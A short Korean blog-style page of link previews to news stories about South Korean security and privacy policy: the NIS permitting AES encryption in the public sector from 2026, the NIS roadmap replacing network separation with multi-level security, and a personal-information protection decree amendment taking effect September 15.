국가정보원이 2026년부터 전 공공분야에 국제표준암호인 AES를 허용하기로 했다. 국정원은 11일 서울 삼성동 코엑스에서 개최한 국제 사이버안보 행사인 ‘사이버 서밋 코리아 (CSK) 2024’에서 이

n.news.naver.com

 

케케묵은 '망분리' 내년엔 사라진다…국정원, MLS 로드맵 공개

국가 공공기관이 인공지능(AI) 등 신기술을 활용할 수 없게 막아온 획일적인 ‘망분리 정책’이 사라지고, 업무 중요도에 따라 적절한 보안 조치를 갖추면 외부 인터넷 망과 연결해 업무를 볼 수

n.news.naver.com

 

개인정보 필수동의 관행 개선한다... 9월 15일부터 보호법 시행령 개정안 시행

지난해 9월, 개인정보보호법(이하 보호법) 개정으로 계약 이행 등이 필요한 경우, 정보주체의 동의 없이 개인정보를 수집·이용할 수 있게 됐다. 올해 9월 15일부터는 동의를 받아 개인정보를 수

www.boannews.com

+ Recent posts